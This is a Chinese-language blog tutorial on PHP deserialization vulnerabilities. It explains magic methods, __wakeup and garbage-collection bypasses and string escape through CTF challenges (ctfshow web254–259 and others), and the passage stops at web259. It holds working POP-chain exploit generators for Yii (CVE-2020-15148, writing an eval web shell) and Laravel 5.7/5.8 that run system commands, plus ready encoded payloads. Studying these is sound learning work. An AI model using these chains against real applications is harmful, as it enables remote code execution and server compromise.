当前位置: 首页 > article >正文

以题为例浅谈反序列化漏洞

什么是反序列化漏洞

反序列化漏洞是基于序列化和反序列化的操作,在反序列化——unserialize()时存在用户可控参数,而反序列化会自动调用一些魔术方法,如果魔术方法内存在一些敏感操作例如eval()函数,而且参数是通过反序列化产生的,那么用户就可以通过改变参数来执行敏感操作,这就是反序列化漏洞。

什么是序列化和反序列化

序列化是将对象的状态信息转换为可以存储或传输的形式的过程,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象。反序列化与此相反;

简单来说就是序列化就是把对象转为字节序列的过程称为对象的序列化,反序列化就是将字节序列恢复为对象的过程称为对象的反序列化;

反序列化的标志函数

serialize,unserialize;

反序列的魔法函数

__construct()   当一个对象创建时被调用,
__destruct()   当一个对象销毁时被调用,
__toString()   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__sleep()    使用serialize时触发
__destruct()    对象被销毁时触发
__call()    在对象上下文中调用不可访问的方法时触发
__callStatic()    在静态上下文中调用不可访问的方法时触发
__get()    用于从不可访问的属性读取数据
__set()    用于将数据写入不可访问的属性
__isset()    在不可访问的属性上调用isset()或empty()触发
__unset()     在不可访问的属性上使用unset()时触发
__toString()    把类当作字符串使用时触发,返回值需要为字符串
__invoke()   当脚本尝试将对象调用为函数时触发
__serialize   serialize()方法检查类是否具有魔术方法__serialize()。如果有,则该功能在任何序列化之前执行,它必须构造并返回代表对象序列化形式的键值对的关联数组。如果未返回任何数组,则引发TypeError
__unserialize    __serialize()的预期用途是定义对象易于序列化的任意表示形式。数组的元素可以对应于对象的属性,但这不是必须的;
__set_state()  调用var_export()方法导出类时,此静态方法会被调用
__clone  当对象复制完成时调用
__autoload  尝试加载未定义的类
__debugInfo   打印所需调试信息

__construct()

这个函数不用多说它一定会被调用的,所以想直接绕过它不可能;

__destruct()

它大部分时间也是一定会被调用的,但遇到垃圾回收机制就不会被调用了,至于垃圾回收机制后面会详细介绍这个点

__toString

当对象被当做字符串被调用时,把类当作字符串使用时触发,返回值需要为字符串;

这是目前总结的__toString触发的条件

当类被当成字符串时会触发
return返回一个字符串,如果在方法中必须要加一个属性,否则需要在用一个函数进行调用,这也需要一个类去触发
toString()的触发条件:把对象当做字符串就会触发这个函数
1.对对象进行echo和print操作就会触发这个函数
2.声明的变量赋值为对象后与字符串类型比较的时候就能触发__toString;
3.声明的变量赋值为对象进行正则匹配的时候就能触发__tostring
4.声明的变量被赋值为对象后进行strolower的时候就能触发__tostring

什么叫做对象,以及类,方法等,在下面这个代码会详细进行介绍

<?php
// 定义一个类
class Car {
    // 属性
    public $brand;
    public $model;
    public $year;

    // 方法
    public function __construct($brand, $model, $year) {
        $this->brand = $brand;
        $this->model = $model;
        $this->year = $year;
    }

    public function getDetails() {
        return "This is a {$this->year} {$this->brand} {$this->model}.";
    }
}

// 创建对象
$car1 = new Car("Toyota", "Corolla", 2020);
$car2 = new Car("Honda", "Civic", 2019);

// 使用对象的方法
echo $car1->getDetails(); // 输出:This is a 2020 Toyota Corolla.
echo $car2->getDetails(); // 输出:This is a 2019 Honda Civic.
?>

__wakeup

使用unserialize时触发,它大部分时间都会被触发,大部分在题目都是要绕过它,在这里主要介绍如何进行绕过,主要的绕过方法对象的属性数量大于真实值;

如正常的反序列之后的值为#O:4:"xctf":1:{s:4:"flag";s:3:"111";}

如果遇到__wakeup需要把xctf后面的1改为2进行绕过,这个绕过需要一个条件就是在cve-2016-7124的情况下,适应这个php版本都有点老了,所以现在在实战中非常难遇到;

第二种方法: php引用赋值&,就是类似于c语言中的指针让两个变量指向同一个地址,一个变量的值改变,另一个变量的值会相应的改变,这种绕过在后面会有例题进行详细介绍;

第三种方法就是:fast-destruct这个技巧使destruct提前发生以绕过wakeup(),这个技巧在后面也会根据题目示例进行介绍

第四种方法就是:php issue 进行绕过,在之后会用题的实列进行讲解

第五种方法就是以O开头改成以C开头,但这种只有在php7.3.4版本才能适用,换别的版本就不行了;

以上这五种版本参考博客:PHP反序列化中wakeup()绕过总结 – fushulingのblog

之后我会尽量举例去理解这五种绕过方法

__sleep()

__sleep()魔法函数是在序列化的时候去操作,serialize()函数会检查类中是否存在一个魔法函数__seep,如果有这个函数会先执行这个函数,这个方法会优先被调用,然后才会执行序列化的操作,此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

注意

__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。

作用

__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

参考博客:https://www.cnblogs.com/tzf1/p/15030202.html#9

__call()

在对像调用一个不可访问的变量时会触发,也就是在对象调用不存在的方法时会触发;

例如下面一段代码

<?php
class Person
{                             
    function say()
    {  
                              
           echo "Hello, world!<br>"; 
    }      
        
    //声明一个__call函数
    function __call($funName, $arguments)
    { 
          echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
          print_r($arguments); // 输出调用不存在的方法时的参数列表
          echo ")不存在!<br>\n"; // 结束换行                      
    }                                          
}
$Person = new Person();            
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("小明", "苹果");             
$Person->say();                        

__callStatic()

在调用一个不可访问的方法时会被调用

代码

<?php
class Person
{
    function say()
    {

        echo "Hello, world!<br>";
    }

   //声明__callStatic函数
    public static function __callStatic($funName, $arguments)
    {
        echo "你所调用的静态方法:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
        print_r($arguments); // 输出调用不存在的方法时的参数列表
        echo ")不存在!<br>\n"; // 结束换行
    }
}
//$Person = new Person();
Person::run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
Person::eat("小明", "苹果");

//静态方法不需要实例化也可调用,所以不需要创建一个新的类Person()

__get()

__get的触发条件如下:

  1. 当使用对象的未定义属性时,即访问一个对象中不存在的属性时,PHP会自动调用 __get() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部访问这些属性,也会触发 __get() 方法。

  3. 如果属性是公共的,但在类内部的上下文中访问未定义的属性,同样会调用 __get() 方法

例如如下代码

class Example {
    private $data = array();

    // __get() 方法会在访问未定义的属性时被调用
    public function __get($name) {
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } else {
            return "Property '{$name}' does not exist!";
        }
    }
}

$example = new Example();

// 访问未定义的属性
echo $example->undefinedProperty; // 会调用 __get() 方法

__set()

它的触发条件总的来说就是当给私有被包含的,不存在的属性赋值时会被触发

以下是详细的触发条件

  1. 当试图为对象的未定义属性赋值时,即给一个对象中不存在的属性赋值时,PHP会自动调用 __set() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部为这些属性赋值,也会触发 __set() 方法。

  3. 如果属性是公共的,但在类内部的上下文中为未定义的属性赋值,同样会调用 __set() 方法。

以下是代码展示

class Example {
    private $data = array();

    // __set() 方法会在为未定义的属性赋值时被调用
    public function __set($name, $value) {
        $this->data[$name] = $value;
    }

    public function getData() {
        return $this->data;
    }
}

$example = new Example();

// 尝试为未定义的属性赋值
$example->undefinedProperty = "Some value"; // 会调用 __set() 方法

// 获取属性值
$data = $example->getData();
print_r($data); // 输出:Array ( [undefinedProperty] => Some value )

__isset()

综述触发条件:当isset()函数去检查对象中不存在或者在对象的外面用isset去检查私有的或者受保护的属性时会被触发,以下是详细的触发条件:

  1. 当使用 isset() 函数检查对象的未定义属性是否设置时,即检查一个对象中不存在的属性时,PHP会自动调用 __isset() 方法。

  2. 如果属性是私有的或受保护的,而且尝试从对象外部检查这些属性是否设置,也会触发 __isset() 方法。

  3. 如果属性是公共的,但在类内部的上下文中检查未定义的属性是否设置,同样会调用 __isset() 方法。

代码展示:

class Example {
    private $data = array();

    // __isset() 方法会在检查未定义属性是否设置时被调用
    public function __isset($name) {
        return isset($this->data[$name]);
    }
}

$example = new Example();

// 使用 isset() 函数检查未定义属性是否设置
echo isset($example->undefinedProperty); // 会调用 __isset() 方法,返回 false

__unserialize 

该魔法函数在反序列化的时候会触发,并且该函数触发的时候,__wakeup函数就不会在触发;

GC垃圾回收机制

原理:在php当中如果对象销毁就会触发__destruct()方法,同时如果程序报错或者异常就不会触发该魔术方法;

也就是说我们想要触发__destruct()方法但被垃圾回收机制阻挡从而不能调用魔法方法__destruct()

那么我们就需要绕过__destruct()这个方法;

那么给一个例子来说明为什么要绕过垃圾回收机制

代码如下:

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class aa{ 
    public $num; 
    public function __destruct(){ 
        echo $this->num."hello __destruct"; 
        } 
    }
class bb{ 
    public $string; 
    public function __toString() { 
        echo "hello __toString"; 
        $this->string->flag(); 
        } 
    }
class cc{ 
    public $cmd; 
    public function flag(){ 
        echo "hello __flag()"; 
        eval($this->cmd); 
    } 
}
$a=unserialize($_GET['code']); 
throw new Exception("Garbage collection"); 
?>

我们通过分析这段代码去构造一下链子,这道题的链子并不是太难

__destruct()->__toString()->__flag()

非常简单,但就是这么简单的一道题却出现了难点就是throw new Exception("Garbage collection");  这句话成功的使__destruct()函数不能触发

下面直接说明垃圾回收机制应该怎么去绕

有两种方法可以去绕过垃圾回收机制;

第一种方法就是用unset()函数赶在垃圾回收机制前结束从而触发__destruct();

第二种方法将第二个索引置为0,从而绕过垃圾回收机制;

如:

序列化之后改之前的

a:2:{i:0;O:1:"B":0:{}i:1;i:0;}

改之后的

a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

接着我们竟然知道了如何进行绕过,那就继续解决上面那一道例题吧;

先写链子进行触发

<?php 
highlight_file(__FILE__); 
error_reporting(0); 
class cg0{ 
    public $num;
} 
class cg1{ 
    public $string; 
}
class cg2{ 
    public $cmd; 
}
$a = new cg0();
$a->num=new cg1();
$a->num->string=new cg2();
$a->num->string->cmd="phpinfo();";
$b=array($a,0);
echo serialize($b);

运行代码得到

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:1;i:0;}

将第二个索引1改为0得到代码

a:2:{i:0;O:3:"cg0":1:{s:3:"num";O:3:"cg1":1:{s:6:"string";O:3:"cg2":1:{s:3:"cmd";s:10:"phpinfo();";}}}i:0;i:0;}

尝试一下可以绕过,如果想了解这个漏洞的原理:

呈上大佬的博客:浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区

https://www.cnblogs.com/uf9n1x/p/17187821.htmlt

字符串逃逸

字符串逃逸的原理其实我看了好几篇博客都没看懂,这里呈上大佬关于反序列化字符串逃逸的解释

PHP反序列化 — 字符逃逸 - 先知社区

这其实上网搜索有很多,但看了很多其实我并不理解字符串逃逸的底层到底是什么,可能境界有点低了,不过通过做题我可以发现怎么利用,在这里我只介绍如何利用,而不去解释原理;

字符串逃逸分为两种类型:字符变多,字符变少;

就以题为例子进行介绍吧;

字符串变少

ctfshow 月饼杯 此夜圆

打开需要下载附件,下载之后源码如下

<?php
error_reporting(0);

class a
{
	public $uname;
	public $password;
	public function __construct($uname,$password)
	{
		$this->uname=$uname;
		$this->password=$password;
	}
	public function __wakeup()
	{
			if($this->password==='yu22x')
			{
				include('flag.php');
				echo $flag;	
			}
			else
			{
				echo 'wrong password';
			}
		}
	}

function filter($string){
    return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

当看到str_replace()这个函数的时候就需要敏感了,只要看到字符串相关的代替,就要敏感这是字符串逃逸了;这就是用Firebasky这个字符串去代替Firebaskyup这个字符串的,知道了这个知识点之后我们就去审计代码看看他的目的是什么,我们可以明显找到输出flag的条件是什么

if($this->password==='yu22x')
{
include('flag.php');
echo $flag;	
}

就是要求password和yu22x相等就可以得到flag了;

";s:8:"password";s:5:"yu22x";}

我们就要添加这串字符串,其它题可以照着这个模板往里面进行替换;

我们看一下这有几个字符,用脚本跑一下得到是30个字符,而Firebasky比Firebaskyup少两个字符所以需要用15个Firebasky字符去逃逸

payload

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

反序列化&的运用

&类似于c语言中的指针,在反序列化中如果可以巧妙的运用可以绕过许多函数,但常用的还是绕过__wakeup()这个魔法函数,上文有提到过;

还是通过题可以更好的理解

2023金盾信安

先看源码

<?php
error_reporting(0);

class mouse
{
    public $rice;
    function __isset($n){
        $this->rice->nothing();
    }

}

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

class ct
{
    public $fish;

    function __toString()
    {
        if(isset($this->fish->d))
        {
            echo 'you wrong';
        }
    }

}

class get
{
    public $cmd;

    function __call($name,$no)
    {
        eval($this->cmd);  //result
    }
}

$pop = $_GET['pop'];

if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
    echo "you will get flag".'</br>';
    unserialize($pop);
}
else{
    die("Try again!");
}

 先找到危险函数,这里的危险函数是eval(),要想使用eval函数那么就要触发__call()这个魔法函数,触发__call()函数需要触发一个不存在的的方法时会触发,那就需要触发__isset()魔法函数,而__isset()这个函数需要不存在的变量才能触发,那么需要触发__toString()这个魔法函数,它需要用

die输出变量代表的字符串去触发,触发之后那就需要触发__destruct()这个魔法函数,而这个魔法函数只要没有垃圾回收机制,它自己就会触发,所以链子就构成了;

那么最后的链子就是回到过来,那么链子如下

dog->ct->mouse->get;这就是链子

链子构成了,这就是一道简单的构造pop链的反序列化,这道题的难点是如何绕过__wakeup()这个魔法函数,为什么需要绕过这个魔法函数__wakeup()呢?因为只要反序列化就一定会触发__wakeup()这个魔法函数的,但如果进入这个__wakeup()这个魔法函数,那么变量a就会被赋予字符串值那它就是一个常量了,那么它就不会触发__toString()这个魔法函数了,所以这里要绕过这个魔法函数,但这里通过增大对象的值不能绕过这个魔法函数,所以需要去找其它的方法,所以这里可以运用&去进行绕过,怎么去绕呢?

怎么绕过只需要看这段代码就行了

class dog
{
    public $a;
    public $b;
    public $c;
    function __wakeup(){
        $this->a = 'chance?';
    }
    function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
}

首先看__destruct()这个魔法函数中的两段代码也就是说c的值会等于b

先看看本题如何去利用eval()这个函数,先看看如何进入

脚本如下

<?php

class get
{
    public $cmd;

}
class mouse
{
    public $rice;
}

class dog
{
    public $a;
    public $b;
    public $c;
    function __construct(){
        $this->b=&$this->a;
    }
}

class ct
{
    public $fish;
}
$f=new dog();
$f->c=new ct();
$f->c->fish=new mouse();
$f->c->fish->rice=new get();
echo serialize($f);

在本地测试中这段代码成功触发了所有的魔法函数,成功进入了eval()命令执行当中;

接下来就是绕过那个正则了,如何绕过这就需要平时的命令执行了

最终脚本

<?php
 
 class get
 {
   public $cmd="print(`uniq /realflag/you_want_flag.php`);";
 
 }
 class mouse
 {
   public $rice;
 }
 
 class dog
 {
   public $a;
   public $b;
   public $c;
   function __construct(){
     $this->b=&$this->a;
   }
 }
 
 class ct
 {
   public $fish;
 }
 
 $backdoor=new get();
 $mouse=new mouse();
 $dog=new dog();
 $ct=new ct();
 $dog->c=$ct;
 $ct->fish=$mouse;
 $mouse->rice=$backdoor;
 print_r(urlencode(serialize($dog)));
 //O%3A3%3A%22dog%22%3A3%3A%7Bs%3A1%3A%22a%22%3BN%3Bs%3A1%3A%22b%22%3BR%3A2%3Bs%3A1%3A%22c%22%3BO%3A2%3A%22ct%22%3A1%3A%7Bs%3A4%3A%22fish%22%3BO%3A5%3A%22mouse%22%3A1%3A%7Bs%3A4%3A%22rice%22%3BO%3A3%3A%22get%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A42%3A%22print%28%60uniq+%2Frealflag%2Fyou_want_flag.php%60%29%3B%22%3B%7D%7D%7D%7D

这个命令执行积累一下,接下来会出一篇文章去专门写一下命令执行的相关的知识;

这就是&地址转换的巧妙使用,这种方式通常在绕过__wakeup()这个魔法函数去使用,有些题也可以使用这个方法巧妙的使用;

Yii反序列化漏洞

这个漏洞如果你想要了解底层逻辑,那么可以直接搜索相关漏洞复现,并且复现一下,我在这里就用题进行简单的介绍;

ctfshow web267

这道题打开页面如下图所示

然后点击login,用admin/admin弱密码进行登录,登录之后查看about,然后查看源码,找到一个参数

然后利用这个参数

格式如下

http://59c91bed-fe09-4818-8233-e0f741d86e76.challenge.ctf.show/index.php?r=site%2Fabout&view-source

看到需要传的参数

同时在源码中也看到了这串网址

点击那个yii.js那个网址,可以看到yii的版本

然后上网上找到这个漏洞的相关脚本,这个漏洞为CVE-2020-15148

脚本如下

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'shell_exec';      //php函数
            $this->id ="echo '<?php eval(\$_GET[1]);phpinfo();?>' > shell.php";     //php函数的参数  
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

运行可以得到

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

payload

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NTI6ImVjaG8gJzw/cGhwIGV2YWwoJF9HRVRbMV0pO3BocGluZm8oKTs/PicgPiBzaGVsbC5waHAiO31pOjE7czozOiJydW4iO319fX0=

然后直接访问shell.php,可以看到phpinfo()页面,然后进行命令执行

url/shell.php?1=system('ls /');

url/shell.php?1=system('cat /flag');

就可以得到flag了;

参考博客:CTFshow——web入门——反序列化web254-web278 详细Writeup_ctfshow web254-CSDN博客

Laravel5.8 反序列化漏洞

在这里先上一个脚本吧,之后会专门出一篇文章对这个漏洞进行复现

<?php
namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;
 
        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php system('ls /');");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

Laravel5.7(CVE-2019-9081)反序列化漏洞

同样也是先上个脚本之后会专门出文章对这个漏洞进行复现

<?php

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('ls /')); //此处执行命令

    echo urlencode(serialize($pendingcommand));
}

题例

多说无益,以题见真章

ctfshow web入门

关于ctfshow相关题目就是有些题目我已经解释过了,所以有些题目我只是去写相关的知识点,不在去解释,相关的解释我放在这篇博客了:ctfshow web入门 反序列化-CSDN博客

web254

源码如下:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 

这个就是简单的代码审计,直接上payload

http://95d10ced-6ff7-47a7-811b-9e73df797b99.challenge.ctf.show/?username=xxxxxx&password=xxxxxx

web255

源码如下

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




简单的反序列化,只需要改变isVip的值为true就行了,payload

<?php

class ctfShowUser{
    public $isVip = true;
};

echo serialize(new ctfShowUser());

?>

然后url编码一下在cookie输入,注意参数的值为user

web256

源码如下:

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}




先审计代码,通过审计代码可以得到让isVip的值为true,并且username和password的值并不相等就可以,脚本如下

<?php

class ctfShowUser{
    public $username = 'aaa';
    public $password = 'bbb';
    public $isVip = true;
};

echo serialize(new ctfShowUser());

?>

注意username和password的值可以是任意的,但是一定不要相等,同时get传参的时候要传相应的值

web257

源码如下


 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}




脚本

<?php
class ctfShowUser{
    public $class = 'backDoor';
	public function __construct(){
        $this->class=new backDoor();
    }
}
class backDoor{
    public $code='system("tac flag.php");';
    
}
echo urlencode(serialize(new ctfShowUser));
?>

payload

cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web258

源码如下

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

就比上一道题多了一个正则表达式

/`[oc]:\d+:/i意思就是不能出现O:数字,我们用0:+数字即可绕过。`
[oc]: 就是正则匹配的意思
\d:  匹配一个数字字符。等价于 [0-9]。
 +:  匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i:  表示匹配的时候不区分大小写
原本是O:数字,可以用0:+数字绕过

和上一道题的payload相同就是在O:+数字

payload

get: username=xxxxxx&password=xxxxxx
cookie: user=%4F%3A%2B%31%31%3A%22%63%74%66%53%68%6F%77%55%73%65%72%22%3A%31%3A%7B%73%3A%35%3A%22%63%6C%61%73%73%22%3B%4F%3A%2B%38%3A%22%62%61%63%6B%44%6F%6F%72%22%3A%31%3A%7B%73%3A%34%3A%22%63%6F%64%65%22%3B%73%3A%32%33%3A%22%73%79%73%74%65%6D%28%22%74%61%63%20%66%6C%61%67%2E%70%68%70%22%29%3B%22%3B%7D%7D

web259

源码

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

